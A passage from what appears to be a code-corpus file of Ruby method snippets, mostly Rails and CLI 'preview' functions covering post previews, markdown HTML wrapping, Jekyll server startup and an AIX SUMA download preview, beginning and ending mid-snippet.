params[:post][:user_id] = current_user.id\n params[:post][:title] << \" %preview%\"\n\n #destroy the preview if one exists (result of hitting preview multiple times before post submit)\n preview = Post.where(title: params[:post][:title]).first()\n if preview\n preview.destroy\n end\n\n @post = Post.new(params[:post])\n\n set_params()\n get_categories_tags()\n @post.status_id = PostStatus.draft.first.id\n\n @post.categories = Category.where(category: params[:categories])\n @post.tags = Tag.where(tag: params[:tags])\n if @post.save\n respond_to do |format|\n format.html\n format.js { render json: @post.id }\n end\n else\n @errors = @post.errors.messages\n respond_to do |format|\n format.html\n format.js { render json: @errors }\n end\n end\n end", "def preview\n #for debug\n params[:d] = 'www.rubyecommerce.com'\n editor = params[:editor]\n website=menu=layout=theme = resource = nil\n website = Website.find_by_url(params[:d])\n if params[:c]\n menu = Menu.find_by_id(params[:c])\n if params[:r]\n resource = BlogPost.find_by_id(params[:r])\n end \n else\n menu = Menu.find_by_id(website.index_page) \n end\n theme = TemplateTheme.find(menu.find_theme_id(is_preview=true))\n html,css = do_preview(theme, menu, {:blog_post_id=>(resource.nil? ? nil:resource.id),:editor=>editor})\n #insert css to html\n style = %Q!<style type=\"text/css\">#{css}</style>!\n \n #editor_panel require @theme, @editors, @editor ...\n prepare_params_for_editors(theme)\n editor_panel = render_to_string :partial=>'layout_editor_panel'\n html.insert(html.index(\"</head>\"),style)\n html.insert(html.index(\"</body>\"),editor_panel)\n render :text => html\n end", "def display_preview!(theme, header_text)\n PryTheme.set_theme(theme)\n display_header(header_text, output)\n test_theme\n end", "def wrap_preview(preview_html)\n output_file_content =<<CONTENT\n <head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"refresh\" content=\"#{@refresh_rate}\">\n <style type=\"text/css\">\n #{IO.read(Resources.expand_path(File.join('css','github.css')))}\n #{IO.read(Resources.expand_path(File.join('css','github2.css')))}\n\n html, .markdown-body {\n overflow: inherit;\n }\n .markdown-body h1 {\n margin-top: 0;\n }\n .readme-content {\n width: #{@preview_width}px;\n }\n\n /* hack in an anchor icon */\n .markdown-body h1:hover a.anchor, .markdown-body h2:hover a.anchor, .markdown-body h3:hover a.anchor, .markdown-body h4:hover a.anchor, .markdown-body h5:hover a.anchor, .markdown-body h6:hover a.anchor {\n padding: 8px 13px;\n margin: 0px 0px 12px -27px;\n background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAAdCAIAAADU74AfAAAYHWlDQ1BJQ0MgUHJvZmlsZQAAWAmtWWdYFEuz7pmNwC45ZyTnnCXnnKOoLDmDS0YJIiJJAQmigCgggigYSSIgiCgiSYKiIAoKKCoGQJLcgaPnnO/57v1353lm5t3qt6urq3p6pmoBYL9NCgsLgmkBCA6JINsa6fI6u7jy4qYABDCAgJw8JM/wMB1ra3Pwfx4rYwgbOZ5J7uj6P2n/ewOdl3e4JwCQNdLs4RXuGYzg2wCgmjzDyBEAYHb0CURHhO3gHAQzkhEDEVy5g33/wk072OMv3LfLsbfVQzjTAOAJJBLZFwDiIiLnjfL0RfRQEwDA0od4+Ycg3XgRrOnpR/ICgN0d4UgEB4fu4CwEi3j8S4/vvzCJ5PG3ThLJ92/811yQnsjA+v7hYUGk2N0f/5+X4KBIxF+7BzdyJYQH2pkhd2bEbzGeJAM7BLMi+JSft4n5b3lVWISu7W95q3+EiT2CGRHOiF+kscNvPB8Z6KCDYE5EvhkYarbDR/wEs4Z4WFohmB7BAp7heojvd8aCleL87J1+c8y9vPUNEIysItiZHGr7h+8XHmX3Rx4X56dn+YcfQDLdiTc1ws8gkRG0aw9c5B1ktDPuHkR+NSzCesfOnbH6Q4Isf88FnvUhG+5wduTr3uG7892xzS/Cz94YkSM2o2gjyPY7HGSOKE4ff0MTBCO2oWT8yMZ/5NphQbtrGumLsidH2u74QQDBPt4hDjs+3JFneJH0d3yL+ARVAgwBCZCBN/AAIWAB8AJzoAf0f195EXkIIvMEoSAIOcm8NH9aMO8xQ5i3mFHMNObFHxnS8zcP+AMvBP+l61/9EbkdiAOfEK3eIPzPaGh2tCZaHW2OXLWRUw6tglb909a/2Lj4B/+21RfpK/lbt+5v66MQjVt/eAf9k8l/8O8+Hn/3+G+bDMEs4gHfPwyZWpkFmc0//f+ZMdYAq481xhpiRVFpqFuoHtR91GNUK6oR8KLaUU2oPtS9Hfzbrj+jkBDJjld2PBwOzBAveoPI3V8hf8b7Dy9F/s34rYFajFoR2CK9QkAg0ub/9wiOu1b7/5eWSIThgYwYgHDN/o7Hb7vQQoh3FdG6aA3Ez4iP0cxodiCJVkA8roPWQmKgiEj/ieJ/zkYS+Ox6O2p3LoHgPTKP4AjvmAhkLQG90LBYsr+vXwSvDrJbekvwmoR4SknwysnIKoCdvXeHA8B32909FWIe+EdGCgJARQ4ASt1/ZKHI2qwrQB6Hs//IhJDnjE0VgJu2npHkqL/0oXduGEAJaJCngg1wA34ggnhEDigBdaANDIApsAL2wAUcQNawHwhGLI4GR8BRkAoyQQ4oAOdAGagA1eAauAkaQSu4Dx6CJ2AQjIKXYBq8Ax/BElgBGxAE4SAixACxQTyQICQOyUEqkCZkAJlDtpAL5A75QiFQJHQEOgZlQqehc9BFqAa6ATVD96HH0BD0AnoDLUDfoHUYBRNgRpgLFoKlYRVYBzaD7eH9sC98CI6DU+BTcBFcDl+FG+D78BN4FJ6GP8LLKICiQjGj+FCSKBWUHsoK5YryQZFRCagMVCGqHFWHakHW4jPUNGoRtYbGohnQvGhJJJLGaAe0J/oQOgGdhT6HrkY3oB+gn6HfoJfQvzBEDCdGHKOGMcE4Y3wx0ZhUTCGmCnMH0408z+8wK1gslhkrjFVGVrsLNgB7GJuFLcXWYzuwQ9gZ7DIOh2PDieM0cFY4Ei4Cl4o7i7uKa8cN497hfuKp8Dx4Obwh3hUfgk/GF+Kv4Nvww/g5/AYFLYUghRqFFYUXRSxFNkUlRQvFAMU7ig1KOkphSg1Ke8oAyqOURZR1lN2Uryi/U1FR7aFSpbKh8qdKoiqiuk71iOoN1RqBniBG0CO4ESIJpwiXCR2EF4TvRCJRiKhNdCVGEE8Ra4hdxCniT2oGailqE2ov6kTqYuoG6mHqzzQUNII0OjQHaOJoCmlu0QzQLNJS0ArR6tGSaBNoi2mbacdpl+kY6GTprOiC6bLortA9ppunx9EL0RvQe9Gn0FfQd9HPMKAY+Bn0GDwZjjFUMnQzvGPEMgozmjAGMGYyXmPsZ1xiomdSYHJkimEqZrrHNM2MYhZiNmEOYs5mvsk8xrzOwsWiw+LNks5SxzLMssrKwarN6s2awVrPOsq6zsbLZsAWyJbL1sg2yY5mF2O3YY9mP8/ezb7IwcihzuHJkcFxk2OCE+YU47TlPMxZwdnHuczFzWXEFcZ1lquLa5GbmVubO4A7n7uNe4GHgUeTx58nn6ed5wMvE68ObxBvEe8D3iU+Tj5jvki+i3z9fBt7hPc47EneU79nkp+SX4Xfhz+fv5N/SYBHwELgiECtwIQghaCKoJ/gGcEewVUhYSEnoRNCjULzwqzCJsJxwrXCr0SIIloih0TKRUZEsaIqooGipaKDYrCYopifWLHYgDgsriTuL14qPiSBkVCVCJEolxiXJEjqSEZJ1kq+kWKWMpdKlmqU+iwtIO0qnSvdI/1LRlEmSKZS5qUsvaypbLJsi+w3OTE5T7liuRF5oryhfKJ8k/xXBXEFb4XzCs8VGRQtFE8odipuKSkrkZXqlBaUBZTdlUuUx1UYVaxVslQeqWJUdVUTVVtV19SU1CLUbqp9UZdUD1S/oj6/V3iv997KvTMaezRIGhc1pjV5Nd01L2hOa/FpkbTKtd5q82t7aVdpz+mI6gToXNX5rCujS9a9o7uqp6YXr9ehj9I30s/Q7zegN3AwOGcwZbjH0New1nDJSNHosFGHMcbYzDjXeNyEy8TTpMZkyVTZNN70gRnBzM7snNlbczFzsnmLBWxhapFn8cpS0DLEstEKWJlY5VlNWgtbH7K+a4O1sbYptnlvK2t7xLbHjsHuoN0VuxV7Xfts+5cOIg6RDp2ONI5ujjWOq076Tqedpp2lneOdn7iwu/i7NLniXB1dq1yX9xnsK9j3zk3RLdVtbL/w/pj9jw+wHwg6cO8gzUHSwVvuGHcn9yvumyQrUjlp2cPEo8RjyVPP84znRy9tr3yvBW8N79Pecz4aPqd95n01fPN8F/y0/Ar9Fv31/M/5fw0wDigLWA20CrwcuB3kFFQfjA92D24OoQ8JDHkQyh0aEzoUJh6WGjZ9SO1QwaElshm5KhwK3x/eFMGIfOT2RYpEHo98E6UZVRz1M9ox+lYMXUxITF+sWGx67FycYdylw+jDnoc7j/AdOXrkTbxO/MUEKMEjoTORPzEl8V2SUVL1UcqjgUefJsskn07+cczpWEsKV0pSysxxo+O1qdSp5NTxE+onytLQaf5p/eny6WfTf2V4ZfRmymQWZm5meWb1npQ9WXRy+5TPqf5spezzOdickJyxXK3c6tN0p+NOz+RZ5DXk8+Zn5P8oOFjwuFChsOwM5ZnIM9NF5kVNZwXO5pzdPOd3brRYt7i+hLMkvWS11Kt0+Lz2+boyrrLMsvUL/heeXzS62FAuVF5Yga2Iqnhf6VjZc0nlUk0Ve1Vm1dblkMvT1bbVD2qUa2qucF7JroVrI2sXrrpdHbymf62pTrLuYj1zfeZ1cD3y+ocb7jfGbprd7LylcqvutuDtkjsMdzIaoIbYhqVGv8bpJpemoWbT5s4W9ZY7d6XuXm7lay2+x3Qvu42yLaVtuz2ufbkjrGPxvu/9mc6DnS+7nLtGHtg86O8263700PBhV49OT/sjjUetj9UeN/eq9DY+UXrS0KfYd+ep4tM7/Ur9DQPKA02DqoMtQ3uH2oa1hu8/03/2cMRk5Mmo5ejQmMPY83G38ennXs/nXwS9+DoRNbHxMukV5lXGJO1k4RTnVPlr0df100rT997ov+l7a/f25YznzMfZ8NnNdynvie8L53jmaubl5lsXDBcGP+z78O5j2MeNxdRPdJ9KPot8vv1F+0vfkvPSu6/kr9vfsr6zfb/8Q+FH57L18tRK8MrGasZPtp/VayprPetO63Mb0Zu4zaIt0a2WX2a/Xm0Hb2+Hkcik3W8BFHKFfXwA+HYZyYtcAGAYRL4pqP/KjXYZyOcuhHAQ7AhJQR/hB6hjaDuMNlYYx45npeCh1KCyJAQSc6ibaRbpJOm9GSoYZ5jFWGJZ29lpOJw4K7m+8+zlTeF7yk8nYCt4UuiJCBCVF/MRPyPRK7kqLSJjI5skVys/qggrySrvV8lQbVB7s5eooaLprpWufUPnlR5eX8nA0zDHqMl4yhQyEzA3sgiwzLa6bf3c5qcds728g5VjsNNJ5zqXJ65v9i25re7fOAjcKUlsHpKeOl623gd9vH1Jfnb+ewN4A6HA6aD24Ashx0L9wqwPqZB5w/HhXyLGItuiqqPzYhJig+JcDpsc0YhXTlBKVE3SOWqW7HTMOyXi+PHU/BOVabfSOzL6MseyXp+cO/Up+1vOcu7K6eW85fz1QvQZpiKJs0bnPIsTS4pK6863lz25MHJxony6YqHyRxXqMlO1WI3uFbfa6Kv5127WDdV/vUF3U/6W3e3wOzkNNY0tTfebu1o67t5tvXOvvq2mvaKj9H5BZ0bXkQcB3XYPlXpYe9YeTT8e6H34pKvv/tPW/vqBosHwIb1h4vCzZ8UjPqOKY5ix8fHq51EvtCewEz3I+lJ8NTeZO6U+NfP65LT69Mc3ZW9tZ1Az9bMOs2vv8t9LvG+fs52bnT++IL0w+6H6Y8ii/OLyp/rPnl/ovtxZsl56//XIN5ZvD79n/whZJq34IOtodr17S2p7ezf+/NB1OAAlh5pH38AkYZ1xGnhJCmFKYao9BBmiGrUNjSdtAl0ZfRvDAhMtswoLiTWN7Tb7FCcVlzz3Pp4k3ot87Xte8i8LUgnxCCuKmIi6i8WK50nckOyTmpdBy/LJ7ZV3VYhQzFSqVG5Wear6Vu3HXqwGh6asloV2kE627nW9Qf1PhngjLmM5EwNTBzNP8xCLGMsEq2PWx21SbdPsMuyzHDIcU5xinf1c7F3192m5Ge53PRB9sMD9OqnTo9ez2+uOd4nPYV8nPxl/gv9iwGBgS1BNcHFIdmhyGPmQG1k7nCd8I2I08lpUarRHjEGsTJzAYa4jbPFMCbSJ2MSVpLdHe5NvHCtIiT6+P9X0hH6aeTop42jmpayHJ6dOfc5ezlnNXT79PW8p/1PBYuHnMz/P0p5TLQ4pqSrtPz9TtnDh3cXX5S8qhiofXWqrar3cW/3pCl/t/qsl117UM163vJGG7F5rd6QavBqLm4ZbMHcVWg/eO95W1d7a0Xb/SmdOV/yD6O6kh9k9pY8qHp/vPfUkss/uqWQ/un9i4OZg5lDAsM0zgxGDUZsxj/HI5ykvTkzEv/R5pTfJPrk41fz6xLTzG8m3+LfvZ7pmS98deq89R5gbma9YSPzg/9Fr0e9T8OewL2FLYV/J36K+x/6IXvZfMVqlWb310+DnkzXXtU/rg5uErYnd+IuDB5AZ9Bz2RmFR2Whx9AAmDiuNXcBdwvtRSFOsUfZSlRGiibbUcjTUNCu0L+g66GsY8hjjmXyZbVk0WEXZmNg22ec5hjnbuOq4K3iKeQv58vdk86cKRAmShAyEeYV/ivSJlomFixtL8EnCkgtS49KPZFpkr8gVyScpuCuqKmGVBpQLVJxV2VRfqJWqe+2V08BqTGk2aGVr++no6wrp0eoD/e8Gc4ZjRneNC028TQVNp82KzK0scBZdlsesTKxZrT/YtNnm2fnZqzsQHaYcrzkdcTZ1YXJ57Vq9LxR5/6/tv3cg6aCeO959iFTiEei514vgNeF92eeQr4rvpl+7f1KAdiAI7Ag6GqwXgg7pDj0ephP281At2QV5Z9dEWEX8iCyK2hs1FZ0UwxVzL9Y9jjlu4nDtkWPxzgkiCSuJXUl5R32T9Y+JpbAep0oFqT9OzKQ9Ta/PyMokZSmcxJ2cOHU9OyMnMNfoNP3ph3n78hbz4wp0CnXPpJ3Fn8soni1lOy9XpnpB9aJiuXSFSCXfJbYqusuU1RQ1NMhK0rjqfu1E3bX6Z9c3b4rccr19+s5QI2OTS3NJy3gr5p5om1G7R0fi/fOdbV2vH2w/5OvRe+T7OKv3xpOxvq1+0YF9g2eGpp7JjZwc/Txu97x5gu9lwaT0a+o30bOZ87GfLL+trNnsxP+vGtnOOwGrBEAekmc6nkTOBQByGwEQugsACyUA1kQA7FUBfKIOwEZ1AAo8/vf7AwJogEdyTmbAA0SBApJpmgNXJN+OAelIRnkVtIFhJDvehOghUUgbyQ/DoZNIPtgNzcAQzAfrwl7wCSTLG4bXUfwoC1Qcqho1jsaj1dDB6Ar0Cww9xgzJyLqwEFYbm4TtxGFwprgc3HM8Hz4I30yBo3CiqKZYp7SgvEi5SmVJVU1AEzwIXURBYjrxM7U9dSuS6eTSAtpDtLN0LnQD9Ib09xhUGBoY1Ri7mGyZZpgjWbAshaxCrE1slmzz7GkcshwznGVcHtzi3D95HvIW8HntUeDH8r8UuCWYLRQkbCYiLkoUXRIbFb8rcV4yQcpNWlWGUWZJ9qncFfl0BT9FUyUpZSblbZVPqlNqw+q9e7s1Hmj2aPVrT+jM667oAwMsss/hjfEmFKYEM0ZzPgsFS0urEOt8m1bbd/ZEBwVHF6d45wsuD1zn3Kj2yxxwPHjEvZLU7/HTS8Dbzue4b6vfeoBe4NmgtRDP0OFDhuTWCIXI+mjJmBtxew8PxocmciaNJeenmB9fOZGfLpHRneV9iin7de7TvMmC7SLec6ol5ucPXogtv1A5cVmy5sJVmbrpGxdvH2ikaq5r3d8u3snTbfiovI8wIDK0MpI7LvJi6NX512feDr93X1j7RP/l6jfwQ2ZFdXV7LWO9aWNk8+5Wxa+wbeXd/WOnikyJ1NI4gBBSa9ACFsANqS0kgFxQCZrBAFI32IKYIWnIFPJBKgLlSBXgLYyGhWFzmAyfg7vgLyhOlBnqCKoeNYvUvmzRmehuDITRwBzG3MVsYrWwx7CPcbQ4F9wl3De8Dj4P/55CnSKPYpHSEIn5JpUz1W0kEyYTRoiqxAvUVNQx1HM0LjT9tIa0HXSadO30evS9DHYMk0hmus6UzSzG/ITlECszawObDdt79lgOIkclpzbnLFcutykPNc8k7y2+U3v8+XUFWAU+Ct4TyhH2EdEVFRSjF8dLYCTxUtTS9DJ0snjZNbl5+XGFXsX7SveVe1Veqn5Tp94ro2Gj6a8VoU3W8dN11jPSVzVQMFQxMjI+aJJgetGsx3zJksPKwDoQeafl252xL3DId7zg1O781VVxX5Lb0wPcByPcBzz4PX28Crzv+PT7zvptBDAHygfZB0eFnAvtCPtAZgk3jIiKvBw1EUMbaxGXffh5vFBCfOLMUd9jtCm9qRFp2PQTmeistFMc2V25yXnOBXpn1M+qF6uXqpaJXkSXP6yMquK4fK/Go5bp6mRd9/WBm8t3ZBuPND9ppWnT7yB3Vj1Y6NF9fLNPtr9kcHL4x8jXsbnnMxPzr368ht5QzjC+E5gzXihcVP6S8b1qNWitfyNls2vrx6+13fjDyNNPh1SbJIEmsEGqYvGgEFwHfeADRIHUhiwgMlQEdUAfYGZYH46Aq+AJFB3KBJWC6kBtIZWZOHQLehOjg8nAjGNFsUexkzhNXDkejw/Fj1CoUpRSwkgtZJRKn+ouQZVwn2hNfE+dTMNH00HrRrtCl0MvSf+UIYSRyFjNpMv0ijmWhZuln/UUmwe7LocYJyPnBtckdxPPad5gPvM9MvysAliBNcGvQl+Ev4tsiVGLC0hoS7pLJUmXyjTJPpP7rsCuaKKUrNylSlBzU7+ugUO+Vdt09ujm6TMb1Bm5mtCZDpmfswy1drCVs5twcHXsczZ2ebbPx+3ngWPuECnMY9RL2bvEl8LvaABlYEWwRSgIaySHRnBHdkVHxnod/pxQmRR7dCx5MwU+jk+lPSGfFp4+kumQtXAqLUcq90VeWoF64deimnMHSihLL5cpX7hXrlXRcUm/qrfaumak1v7qYJ1hffMNkZtnbuPvxDdsNqW3CN0dvJfcrtSx0FnywOohuufu4/An4n2z/ecHnYcZnw2PZo+bPt+euPrKanL+deT01tvkWdS75Dl4/tgH9MfExc+fDb/ELpV+Pfkt8rv+99UfV5Ytl1+u+K2srEatLvx0+zmwprdWu05cD1sf3lDcKNr4ummyWb65sWW/de0X6pfzr6vb0LbD9pWd+If7yCP1SuSACLpI+XFqe/u7EAC40wBs5W5vb5Rvb29VIMnGKwA6gv7632WHjEVq9SWvd1Cv2GjSzv3fx/8ACJO/f7b+X80AAAGbaVRYdFhNTDpjb20uYWRvYmUueG1wAAAAAAA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJYTVAgQ29yZSA1LjEuMiI+CiAgIDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIj4KICAgICAgICAgPGV4aWY6UGl4ZWxYRGltZW5zaW9uPjI3PC9leGlmOlBpeGVsWERpbWVuc2lvbj4KICAgICAgICAgPGV4aWY6UGl4ZWxZRGltZW5zaW9uPjI5PC9leGlmOlBpeGVsWURpbWVuc2lvbj4KICAgICAgPC9yZGY6RGVzY3JpcHRpb24+CiAgIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+Ck5zsgcAAAEqSURBVEgN7VS7joNADEz4AR6ClpI/gQIJGgqgpqRDfCYFlLzhB2jo4YazsiKrKHe6rK7CBRqvxyPveMV93/eb0JCEqh1il6IYSy8fLx//7sC/vJ6+7+M41jTt/ghVVcMwrOsak/u+jxIIoL2+CP5m56iqyjCMl1QIFUXRNA1VQQP53Ev4xh2laYoGz/OGYWClaZqCIMB5kiQ4RAkEpCAzDgO8omVZoOKCxJBlGek4jvM8A5imSefkAMhMiIEfNqPrOoQkSdq2DWBZFnzfB69o2zYa8jzHXACO4+CbZRmWhCnWdUWKEggARAZ4CjYtgfNmsM2yLGnMp57v5LebgW7XdVEU4cW4rou0bVs8HUVRmChKIIDGTUPpcRdGFQJ4Hz8XvRQ/9/BQEO/jF3oLKusHZ04pAAAAAElFTkSuQmCC')\n no-repeat\n left center;\n }\n .markdown-body h1:hover a.anchor .octicon-link, .markdown-body h2:hover a.anchor .octicon-link, .markdown-body h3:hover a.anchor .octicon-link, .markdown-body h4:hover a.anchor .octicon-link, .markdown-body h5:hover a.anchor .octicon-link, .markdown-body h6:hover a.anchor .octicon-link {\n display: none;\n }\n </style>\n </head>\n <body class=\"markdown-body\" style=\"padding:10px 40px;\">\n <div class=\"readme-content\">\n #{preview_html}\n </div>\n </body>\nCONTENT\n output_file_content\n end", "def preview\n begin\n page = ComatosePage.new(params[:page])\n page.author = fetch_author_name\n if params.has_key? :version\n content = page.to_html( {'params'=>params.stringify_keys, 'version'=>params[:version]} )\n else\n content = page.to_html( {'params'=>params.stringify_keys} )\n end\n rescue SyntaxError\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '&lt;')}</pre></p>\"\n rescue\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '&lt;')}</pre></p>\"\n end\n render :text=>content, :layout => false\n end", "def preview(argv)\n parser.banner = \"Usage: smeagol-preview [OPTIONS]\\n\"\n\n parser.on('--port [PORT]', 'Bind port (default 4567).') do |port|\n options[:port] = port.to_i\n end\n\n parser.on('--[no-]cache', 'Enables page caching.') do |flag|\n options[:cache] = flag\n end\n\n parser.on('--mount-path', 'Serve website from this base path.') do |path|\n options[:mount_path] = path\n end\n\n #parser.on('--auto-update', 'Updates the repository on a daily basis.') do |flag|\n # options[:auto_update] = flag\n #end\n\n #parser.on('--secret [KEY]', 'Specifies the secret key used to update.') do |str|\n # options[:secret] = str\n #end\n\n $stderr.puts \"Starting preview...\"\n\n Console.preview(*parse(argv))\n end", "def preview_submit\n @story = Story.find(params[:submission])\n @story_slam_preview = true # to hide/show certain things in the header\n end", "def preview\n begin\n page = Comatose::Page.new(params[:page])\n page.author = current_user\n if params.has_key? :version\n content = page.to_html( {'params'=>params.stringify_keys, 'version'=>params[:version]} )\n else\n content = page.to_html( {'params'=>params.stringify_keys} )\n end\n rescue SyntaxError\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '&lt;')}</pre></p>\"\n rescue\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '&lt;')}</pre></p>\"\n end\n render :text=>content, :layout => false\n end", "def preview\n end", "def preview\n end", "def preview\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_extra_page-#{@extra_page.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.extra_page @extra_page.id\n render \"previews/preview\"\n end", "def preview\n #for debug\n params[:d] = 'www.rubyecommerce.com'\n \n the_website=the_menu=the_layout=the_theme = nil\n the_website = Website.find_by_url(params[:d])\n if params[:c]\n the_menu = Menu.find_by_id(params[:c])\n else\n the_menu = Menu.find_by_id(the_website.index_page) \n end\n the_theme = TemplateTheme.find(the_menu.find_theme_id(is_preview=true))\n do_preview(the_theme.id, the_theme.layout_id, the_menu.id)\n render :text => File.read(\"#{Rails.public_path}/shops/#{the_theme.file_name('html')}\")\n end", "def start\n \n @preview = Preview.find(params[:preview_id])\n update_preview @preview\n head :ok\n #redirect_to action: 'status'\n \n end", "def publish_front_page\n\t\tsystem 'clear'\n\t\t@post_list.each do |post|\n\t\t\tif post.sponsored == true\n\t\t\t\tputs \"*****Post #{post.title}*****\"\n\t\t\telse\n\t\t\t\tputs \"Post #{post.title}\"\n\t\t\tend\n\t\t\tputs \"#{post.text}\"\n\t\t\tputs \"#{post.creation_date}\"\n\t\t\tputs \"-----------------------\"\n\t\tend\n\tend", "def publish_front_page\n\t\tfirst = (@current_page - 1) * 3\n\t\tlast = (first + 3) - 1\n\t\tpage = first..last\n\t\t@post[page].each do |each_post|\n\t\t\tputs \"#{each_post.title} #{each_post.date}\"\n\t\t\tputs \"#{each_post.text}\"\n\t\t\tputs \"------------------------------------\" \n\t\tend\n\t \tputs \"next >\"\n\tend", "def previewer(menu, theme=nil, options={})\r\n options[:preview] = true\r\n pg = self.new( theme, menu, options)\r\n pg.build\r\n pg\r\n end", "def previewer(menu, theme=nil, options={})\r\n options[:preview] = true\r\n pg = self.new( theme, menu, options)\r\n pg.build\r\n pg\r\n end", "def preview\n order = current_user.orders.find_by_cookbook_id(params[:id])\n @cookbook = (order) ? order.cookbook : current_cookbook\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_cookbook-#{@cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: @cookbook, \n filename: preview_path\n )\n preview.cookbook\n render \"previews/preview\"\n end", "def start_jekyll preview\n path = get_dest_path preview\n Dir.chdir path\n Bundler.with_clean_env do\n ActiveSupport::Dependencies.interlock.permit_concurrent_loads do\n begin\n continue = true\n # Test if bundle was previously updated\n out, status = Open3.capture2e(\"bundle check\")\n continue = status.success?\n #unless continue\n # raise \"Bundle check failed\"\n #end\n bundle_updated = BUNDLE_CHECK_REGEX =~ out\n # Update the bundle\n if bundle_updated.nil?\n Open3.popen2e(\"bundle update jekyll\") do |i, oe, t|\n terminal_add preview, terminal_info(I18n.t('preview.message.bundle.start'))\n oe.each {|line|\n #puts line\n terminal_add preview, terminal_cmd(line)\n #error = /warning/ =~ line\n }\n continue = t.value.success?\n if continue\n terminal_add preview, terminal_info(I18n.t('preview.message.bundle.end'))\n else\n terminal_add preview, terminal_info(I18n.t('preview.message.bundle.error'))\n end\n end\n unless continue\n return\n end\n end\n # Start Jekyll server \n Open3.popen2e(\"bundle exec jekyll serve --config _config_local.yml\") do |i, oe, t|\n terminal_add preview, terminal_trigger(I18n.t('preview.trigger.start'), '')\n terminal_add preview, terminal_info(I18n.t('preview.message.jekyll.start'))\n preview.set_starting t.pid\n oe.each {|line|\n #puts line\n #error = /warning/ =~ line\n terminal_add preview, terminal_cmd(line)\n if JEKYLL_URL_REGEX =~ line\n address = line.scan JEKYLL_URL_REGEX\n preview.url = address[0][0]\n preview.save\n elsif JEKYLL_START_REGEX=~ line\n preview.set_started\n # Trigger started\n terminal_add preview, terminal_trigger(I18n.t('preview.trigger.run'), '')\n terminal_add preview, terminal_info(I18n.t('preview.message.jekyll.started'))\n elsif JEKYLL_UPDATE_REGEX =~ line\n duration = line.scan JEKYLL_UPDATE_REGEX\n # Trigger updated\n terminal_add preview, terminal_trigger(I18n.t('preview.trigger.update'), \"#{duration[0][0]}\")\n end\n }\n rescue Exception => exception\n pp exception.backtrace\n terminal_add preview, terminal_trigger(I18n.t('preview.trigger.error'), exception.backtrace)\n terminal_add preview, terminal_info(I18n.t('preview.message.jekyll.error')) \n end\n end\n preview.stop\n # Trigger stopped\n terminal_add preview, terminal_trigger(I18n.t('preview.trigger.stop'), '')\n terminal_add preview, terminal_info(I18n.t('preview.message.jekyll.end'))\n end\n end\n end", "def build_table_tag(lines, pre)\n table = Nokogiri::XML::Element.new('table', doc)\n table['class'] = [pre['class'], context[:css_class] || 'highlight', context[:css_table_class]].\n compact.join(' ')\n\n line_start = context[:line_start] || 1\n lines.each_with_index do |line, i|\n tr = build_line_tag(i + line_start, line, pre.attributes)\n table.add_child(tr)\n end\n\n table\n end", "def thead(*args)\n content_tag :thead, content_tag(:tr, args.map { |arg| content_tag :th, arg.to_s.humanize }.join.html_safe)\n end", "def thead(*args)\n content_tag :thead, content_tag(:tr, args.map { |arg| content_tag :th, arg.to_s.humanize }.join.html_safe)\n end", "def preview\n # dl_target : where to download\n dl_target = ' -a DLTarget=' + @dir_lpp_sources\n # filter_dir : does not download if already here\n filter_dir = ' -a FilterDir=' + @dir_lpp_sources\n action = ' -a Action=Preview'\n preview_suma_command = @suma_command + @display_lpp_sources +\n action + dl_target + filter_dir\n preview_error = false\n missing = false\n\n # If force=yes we are doing the preview only if explicitly asked\n # Else we are doing it in any case\n # If force and download we do the download without preview.\n if (@force == 'yes' && @to_step == 'preview') || @force == 'no'\n Log.log_info('SUMA preview operation: ' + preview_suma_command)\n Log.log_info('@force=' + @force + ' @to_step=' + @to_step)\n #\n Open3.popen3({ 'LANG' => 'C' }, preview_suma_command) \\\ndo |_stdin, stdout, stderr, wait_thr|\n stdout.each_line do |line|\n @dl = Regexp.last_match(1).to_f / 1024 / 1024 / 1024 \\\nif line =~ /Total bytes of updates downloaded: ([0-9]+)/\n @downloaded = Regexp.last_match(1).to_i \\\nif line =~ /([0-9]+) downloaded/\n @failed = Regexp.last_match(1).to_i if line =~ /([0-9]+) failed/\n @skipped = Regexp.last_match(1).to_i if line =~ /([0-9]+) skipped/\n Log.log_debug(line.chomp.to_s)\n end\n #\n Log.log_info('@dl=' + @dl.to_s +\n ' @downloaded=' + @downloaded.to_s +\n ' @failed=' + @failed.to_s +\n ' @skipped=' + @skipped.to_s)\n stderr.each_line do |line|\n preview_error = true if line =~ /0500-035 No fixes match your query./\n preview_error = true if line =~ /0500-013 Failed to retrieve list from fix server./\n Log.log_err(line.chomp.to_s)\n end\n wait_thr.value # Process::Status object returned.\n @preview_done = true\n end\n #\n if preview_error\n raise SumaPreviewError,\n 'SumaPreviewError : command ' + preview_suma_command + ' returns above error!'\n end\n #\n missing = true if @downloaded != 0 || @dl != 0.0\n #\n Log.log_info('Preview: ' +\n @downloaded.to_s +\n ' downloaded (' + @dl.round(2).to_s + ' GB), ' +\n @failed.to_s +\n ' failed, ' +\n @skipped.to_s +\n ' skipped fixes')\n Log.log_info('Done suma preview operation: ' +\n preview_suma_command +\n ' missing=' +\n missing.to_s)\n else\n missing = true\n Log.log_info('Skipped suma preview operation: ' +\n preview_suma_command +\n ' missing=' +\n missing.to_s)\n end\n #\n missing\n end", "def thead(*args)\n headers = args.flatten.map {|a| content_tag :th, 